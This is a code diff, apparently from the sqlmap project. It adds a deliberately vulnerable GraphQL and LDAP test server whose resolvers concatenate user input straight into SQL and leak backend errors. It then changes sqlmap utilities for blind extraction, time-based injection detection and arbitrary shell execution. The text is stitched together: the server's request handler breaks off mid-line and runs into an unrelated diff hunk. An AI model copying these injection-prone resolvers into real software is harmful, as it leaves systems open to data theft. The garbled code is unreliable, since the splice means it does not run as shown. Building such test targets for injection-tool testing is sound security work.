pattern: empty first/last elements from surrounding + # wildcards become leading/trailing '%' automatically. + pattern = '%'.join(_ldap_escape_like(p) for p in parts) + return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end + else: + return "(%s = ?)" % col, [value], end + elif op_type == '>=': + return "(%s >= ?)" % col, [value], end + elif op_type == '<=': + return "(%s <= ?)" % col, [value], end + elif op_type == '~=': + return "(%s = ?)" % col, [value], end + + return None, [], end + + +def _ldap_execute(filter_str): + """Execute an LDAP filter against the directory table. Returns (rows, error_msg).""" + if not filter_str or not filter_str.strip(): + return None, "Bad search filter" + + # Simple bracket validation + if filter_str.count('(') != filter_str.count(')'): + return None, "Bad search filter (-7)" + + try: + clause, params, _ = _ldap_filter_to_sql(filter_str) + if not clause: + return None, "Bad search filter (-7)" + + sql = "SELECT * FROM directory WHERE %s" % clause + with _lock: + _cursor.execute(sql, params) + rows = _cursor.fetchall() + return rows, None + except Exception as ex: + msg = str(ex) + # Emulate different back-end error messages + if "no such column" in msg.lower(): + return None, "Bad search filter" + if "unrecognized" in msg.lower() or "syntax" in msg.lower(): + return None, "Bad search filter (-7)" + return None, "Bad search filter (%s)" % msg.split(':')[0] + +def _ldap_row_to_obj(row): + """Convert a SQLite row to a dict with non-None attributes.""" + if not row: + return None + keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member") + return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None) + +# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- + +# Hard-coded introspection response matching the schema below. Every GraphQL tool (including +# sqlmap's --graphql engine) uses this to discover fields, arguments, and types. +def _graphql_introspection(): + return { + "data": { + "__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "search", "args": [ + {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}} + ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "updateUser", "args": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ]}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Boolean"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + } + } + } + + +def _graphql_arg(raw): + """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is""" + raw = raw.strip() + if raw.startswith('"') and raw.endswith('"'): + return raw[1:-1].replace('\\"', '"') + return raw + + +def _graphql_match(text, start): + """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over + double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and + nested selection sets do not throw off the balance.""" + + pairs = {'(': ')', '{': '}'} + opener, closer = text[start], pairs[text[start]] + depth, i, n = 0, start, len(text) + while i < n: + char = text[i] + if char == '"': + i += 1 + while i < n and text[i] != '"': + i += 2 if text[i] == '\\' else 1 + elif char == opener: + depth += 1 + elif char == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _graphql_selections(body): + """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing, + argument literals carrying brackets/quotes, and nested selection sets (which are skipped over).""" + + identifier = re.compile(r'[A-Za-z_]\w*') + selections, i, n = [], 0, len(body) + while i < n: + while i < n and body[i] in ' \t\r\n,': + i += 1 + match = identifier.match(body, i) + if not match: + i += 1 + continue + name, i = match.group(0), match.end() + + j = i + while j < n and body[j] in ' \t\r\n': + j += 1 + if j < n and body[j] == ':': # 'name' was an alias; the real field follows + j += 1 + while j < n and body[j] in ' \t\r\n': + j += 1 + match = identifier.match(body, j) + if not match: + continue + alias, field, i = name, match.group(0), match.end() + else: + alias, field = None, name + + while i < n and body[i] in ' \t\r\n': + i += 1 + rawArgs = "" + if i < n and body[i] == '(': + end = _graphql_match(body, i) + rawArgs, i = body[i + 1:end - 1], end + + while i < n and body[i] in ' \t\r\n': + i += 1 + if i < n and body[i] == '{': # skip this field's (possibly nested) selection set + i = _graphql_match(body, i) + + selections.append((alias, field, rawArgs)) + return selections + + +def _graphql_resolve(query, variables): + """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field, + and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request + (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip.""" + + variables = variables or {} + errors = [] + data = {} + + op = "query" + for keyword in ("mutation", "subscription"): + if query.strip().startswith(keyword): + op = keyword + break + + start = query.find('{') + if start == -1: + errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}}) + return None, errors + + for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]): + key = alias or field + + # Parse arguments + args = {} + for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs): + name, val = am.group(1), am.group(2) + if val.startswith('$'): + args[name] = variables.get(val[1:], None) + else: + args[name] = _graphql_arg(val) + + try: + if field in ("__typename", "__schema"): + data[key] = op.title() + elif field == "user": + data[key] = _resolver_user(args.get("username")) + elif field == "search": + data[key] = _resolver_search(args.get("term")) + elif field == "login": + data[key] = _resolver_login(args.get("username"), args.get("password")) + elif field == "updateUser": + data[key] = _resolver_updateUser(args.get("id"), args.get("email")) + else: + errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()), + "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}) + except Exception as ex: + # Leak the backend error through the GraphQL error envelope (as many real servers do + # in development mode) -- this drives error-based detection + errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex), + "path": [key], "extensions": {"exception": str(ex)}}) + + if not data and not errors: + return None, errors + return data, errors + + +# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------ + +def _resolver_user(username): + if not username: + return None + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +def _resolver_search(term): + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or "")) + rows = _cursor.fetchall() + return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])] + + +def _resolver_login(username, password): + if not username or not password: + return None + with _lock: + _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password)) + row = _cursor.fetchone() + if row: + return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}} + return None # returns null in data (boolean oracle: true=object, false=null) + + +def _resolver_updateUser(id_, email): + with _lock: + _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_)) + _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +class ReqHandler(BaseHTTPRequestHandler): + def do_REQUEST(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + params = {} + + if query: + params.update(parse_qs(query)) + + if "||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page) - while retVal.find(" ") != -1: - retVal = retVal.replace(" ", " ") - retVal = htmlunescape(retVal.strip()) + if isinstance(page, six.text_type): + retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) + retVal = re.sub(r"%s{2,}" % split, split, retVal) + retVal = htmlUnescape(retVal.strip().strip(split)) return retVal @@ -1668,22 +2331,24 @@ def getPageWordSet(page): """ Returns word set used in page content - >>> sorted(getPageWordSet(u'foobartest')) - [u'foobar', u'test'] + >>> sorted(getPageWordSet(u'foobartest')) == [u'foobar', u'test'] + True """ retVal = set() # only if the page's charset has been successfully identified - if isinstance(page, unicode): - _ = getFilteredPageContent(page) - retVal = set(re.findall(r"\w+", _)) + if isinstance(page, six.string_types): + retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal -def showStaticWords(firstPage, secondPage): +def showStaticWords(firstPage, secondPage, minLength=3): """ Prints words appearing in two different response pages + + >>> showStaticWords("this is a test", "this is another test") + ['this'] """ infoMsg = "finding static words in longest matching part of dynamic page content" @@ -1695,19 +2360,23 @@ def showStaticWords(firstPage, secondPage): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None if commonWords: - commonWords = list(commonWords) - commonWords.sort(lambda a, b: cmp(a.lower(), b.lower())) + commonWords = [_ for _ in commonWords if len(_) >= minLength] + commonWords.sort(key=functools.cmp_to_key(lambda a, b: cmp(a.lower(), b.lower()))) for word in commonWords: - if len(word) > 2: - infoMsg += "'%s', " % word + infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: @@ -1715,6 +2384,8 @@ def showStaticWords(firstPage, secondPage): logger.info(infoMsg) + return commonWords + def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter @@ -1725,29 +2396,29 @@ def isWindowsDriveLetterPath(filepath): False """ - return re.search("\A[\w]\:", filepath) is not None + return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ - Replaces all occurances of Posix slashes (/) in provided - filepath with NT ones (\) + Replaces all occurrences of Posix slashes in provided + filepath with NT backslashes >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' """ - return filepath.replace('/', '\\') + return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ - Replaces all occurances of NT slashes (\) in provided - filepath with Posix ones (/) + Replaces all occurrences of NT backslashes in provided + filepath with Posix slashes - >>> ntToPosixSlashes('C:\\Windows') + >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ - return filepath.replace('\\', '/') + return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ @@ -1765,6 +2436,9 @@ def isHexEncodedString(subject): def getConsoleWidth(default=80): """ Returns console width + + >>> any((getConsoleWidth(), True)) + True """ width = None @@ -1773,16 +2447,11 @@ def getConsoleWidth(default=80): width = int(os.getenv("COLUMNS")) else: try: - try: - FNULL = open(os.devnull, 'w') - except IOError: - FNULL = None - process = execute("stty size", shell=True, stdout=PIPE, stderr=FNULL or PIPE) - stdout, _ = process.communicate() - items = stdout.split() + output = shellExec("stty size") + match = re.search(r"\A\d+ (\d+)", output) - if len(items) == 2 and items[1].isdigit(): - width = int(items[1]) + if match: + width = int(match.group(1)) except (OSError, MemoryError): pass @@ -1798,16 +2467,34 @@ def getConsoleWidth(default=80): return width or default +def shellExec(cmd): + """ + Executes arbitrary shell command + + >>> shellExec('echo 1').strip() == '1' + True + """ + + retVal = "" + + try: + retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + except Exception as ex: + retVal = getSafeExString(ex) + finally: + retVal = getText(retVal) + + return retVal + def clearConsoleLine(forceOutput=False): """ Clears current console line """ - if getattr(LOGGER_HANDLER, "is_tty", False): + if IS_TTY: dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False - kb.stickyLevel = None def parseXmlFile(xmlFile, handler): """ @@ -1815,17 +2502,20 @@ def parseXmlFile(xmlFile, handler): """ try: - with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: + with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) - except (SAXParseException, UnicodeError), ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, ex) + except (SAXParseException, UnicodeError) as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory + + >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + True """ if sfile.endswith('.sql') and os.path.exists(sfile): @@ -1838,16 +2528,16 @@ def getSQLSnippet(dbms, sfile, **variables): retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) - retVal = re.sub(r"(?s);\s+", "; ", retVal).strip("\r\n") + retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") - for _ in variables.keys(): - retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) + for _ in variables: + retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): - retVal = retVal.replace(_, randomInt()) + retVal = retVal.replace(_, getText(randomInt())) variables = re.findall(r"(?>> "readCachedFileContent" in readCachedFileContent(__file__) + True """ - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + + if content is None: with kb.locks.cache: - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + if content is None: checkFile(filename) try: - with openFile(filename, mode) as f: - kb.cache.content[filename] = f.read() - except (IOError, OSError, MemoryError), ex: + with openFile(filename, mode) as f: + content = f.read() + kb.cache.content[filename] = content + except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (filename, ex) + errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) - return kb.cache.content[filename] + return content -def readXmlFile(xmlFile): - """ - Reads XML file content and returns its DOM representation +def average(values): """ + Computes the arithmetic mean of a list of numbers. - checkFile(xmlFile) - retVal = minidom.parse(xmlFile).documentElement + >>> "%.1f" % average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.9' + """ - return retVal + return (1.0 * sum(values) / len(values)) if values else None +@cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. - Reference: http://www.goldb.org/corestats.html - >>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) - 0.06324555320336757 + # Reference: http://www.goldb.org/corestats.html + + >>> "%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.063' """ if not values or len(values) < 2: return None - - key = (values[0], values[-1], len(values)) - - if kb.get("cache") and key in kb.cache.stdev: - retVal = kb.cache.stdev[key] else: avg = average(values) - _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) - retVal = sqrt(_ / (len(values) - 1)) - if kb.get("cache"): - kb.cache.stdev[key] = retVal - - return retVal - -def average(values): - """ - Computes the arithmetic mean of a list of numbers. - - >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) - 0.9 - """ - - return (sum(values) / len(values)) if values else None + _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) + return sqrt(_ / (len(values) - 1)) def calculateDeltaSeconds(start): """ Returns elapsed time from start till now + + >>> calculateDeltaSeconds(0) > 1151721660 + True """ return time.time() - start def initCommonOutputs(): """ - Initializes dictionary containing common output values used by "good samaritan" feature + Initializes the per-context dictionary of common identifier names used by the + predictive-inference feature to shortcut blind table/column name enumeration. + Sourced directly from the curated '--common-tables'/'--common-columns' wordlists + (real-world, app-focused names); prediction only ever reorders the charset or + confirms a whole value, so it never penalizes a miss. + + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] + True """ kb.commonOutputs = {} - key = None - - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used - if line.find('#') != -1: - line = line[:line.find('#')] - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + kb.commonOutputs[key] = set(getFileItems(path)) + except SqlmapSystemException: + kb.commonOutputs[key] = set() -def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): +def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file + + >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) + True """ retVal = list() if not unique else OrderedDict() + if filename: + filename = filename.strip('"\'') + checkFile(filename) try: - with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: - for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used + with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: + for line in f: if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() - if not unicode_: - try: - line = str.encode(line) - except UnicodeDecodeError: - continue - if line: if lowercase: line = line.lower() @@ -1997,26 +2674,24 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un retVal[line] = True else: retVal.append(line) - except (IOError, OSError, MemoryError), ex: + except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (filename, ex) + errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) - return retVal if not unique else retVal.keys() + return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2061,7 +2736,7 @@ def goGoodSamaritan(prevValue, originalCharset): # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: - if chr(ordChar) not in predictionSet: + if _unichr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) @@ -2074,8 +2749,8 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ - Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in txt/common-outputs.txt + Goes through call stack and finds constructs matching + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -2109,46 +2784,11 @@ def getPartRun(alias=True): else: return retVal -def getUnicode(value, encoding=None, noneToNull=False): - """ - Return the unicode representation of the supplied value: - - >>> getUnicode(u'test') - u'test' - >>> getUnicode('test') - u'test' - >>> getUnicode(1) - u'1' - """ - - if noneToNull and value is None: - return NULL - - if isListLike(value): - value = list(getUnicode(_, encoding, noneToNull) for _ in value) - return value - - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - while True: - try: - return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) - except UnicodeDecodeError, ex: - try: - return unicode(value, UNICODE_ENCODING) - except: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] - else: - try: - return unicode(value) - except UnicodeDecodeError: - return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances - def longestCommonPrefix(*sequences): """ - Returns longest common prefix occuring in given sequences - Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 + Returns longest common prefix occurring in given sequences + + # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' @@ -2172,14 +2812,36 @@ def longestCommonPrefix(*sequences): return sequences[0] def commonFinderOnly(initial, sequence): - return longestCommonPrefix(*filter(lambda x: x.startswith(initial), sequence)) + """ + Returns parts of sequence which start with the given initial string + + >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) + 'abcde' + """ + + return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ Push value to the stack (thread dependent) """ - getCurrentThreadData().valueStack.append(copy.deepcopy(value)) + exception = None + success = False + + for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): + try: + getCurrentThreadData().valueStack.append(copy.deepcopy(value)) + success = True + break + except Exception as ex: + exception = ex + + if not success: + getCurrentThreadData().valueStack.append(None) + + if exception: + raise exception def popValue(): """ @@ -2190,7 +2852,14 @@ def popValue(): 'foobar' """ - return getCurrentThreadData().valueStack.pop() + retVal = None + + try: + retVal = getCurrentThreadData().valueStack.pop() + except IndexError: + pass + + return retVal def wasLastResponseDBMSError(): """ @@ -2202,7 +2871,7 @@ def wasLastResponseDBMSError(): def wasLastResponseHTTPError(): """ - Returns True if the last web request resulted in an errornous HTTP code (like 500) + Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() @@ -2217,42 +2886,45 @@ def wasLastResponseDelayed(): # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation - deviation = stdev(kb.responseTimes) + deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() - if deviation and not conf.direct: - if len(kb.responseTimes) < MIN_TIME_RESPONSES: + if deviation and not conf.direct and not conf.disableStats: + if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES - logger.warn(warnMsg) + logger.warning(warnMsg) - lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation + lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " - choice = readInput(msg, default='Y') - kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if choice.upper() == 'N' else ADJUST_TIME_DELAY.YES + + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: - return (threadData.lastQueryDuration - conf.timeSec) >= 0 + delta = threadData.lastQueryDuration - conf.timeSec + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average + delta += 0.05 + return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ - candidate = 1 + int(round(lowerStdLimit)) + candidate = (1 if not isHeavyQueryBased() else 2) + int(round(lowerStdLimit)) - if candidate: - kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] + kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] - if all((x == candidate for x in kb.delayCandidates)) and candidate < conf.timeSec: + if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: + if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " @@ -2271,78 +2943,119 @@ def extractErrorMessage(page): """ Returns reported error message from page if it founds one - >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') - u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) + 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None + True """ retVal = None - if isinstance(page, basestring): + if isinstance(page, six.string_types): for regex in ERROR_PARSING_REGEXES: - match = re.search(regex, page, re.DOTALL | re.IGNORECASE) + match = re.search(regex, page, re.IGNORECASE) if match: - retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() - break + candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() + # Note: only the generic '(fatal|error|warning|exception): ...' regexes can capture + # arbitrary prose, so guard those with the non-writing-char ratio; the specific + # DBMS-signature regexes (e.g. MSSQL 'Unclosed quotation mark ...') are definitive and + # must not be discarded just because the message happens to read like plain text + generic = "(fatal|error|warning|exception)" in regex + if candidate and (not generic or 1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + retVal = candidate + break + + if not retVal and wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) + match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) + + if match: + retVal = match.group(0) + + return retVal + +def findLocalPort(ports): + """ + Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) + """ + + retVal = None + + for port in ports: + s = None + try: + try: + s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) + except AttributeError: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((LOCALHOST, port)) + retVal = port + break + except socket.error: + pass + finally: + if s is not None: + try: + s.close() + except socket.error: + pass return retVal def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body + + >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") + '9051914041544843365972754266' """ retVal = None - - done = set() - candidates = [] + counts = {} for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1).strip().strip('-') - - if _ in done: - continue - else: - candidates.append((post.count(_), _)) - done.add(_) + boundary = match.group(1).strip().strip('-') + counts[boundary] = counts.get(boundary, 0) + 1 - if candidates: - candidates.sort(key=lambda _: _[0], reverse=True) - retVal = candidates[0][1] + if counts: + sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) + retVal = sorted_boundaries[0][0] return retVal -def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True): +def urldecode(value, encoding=None, 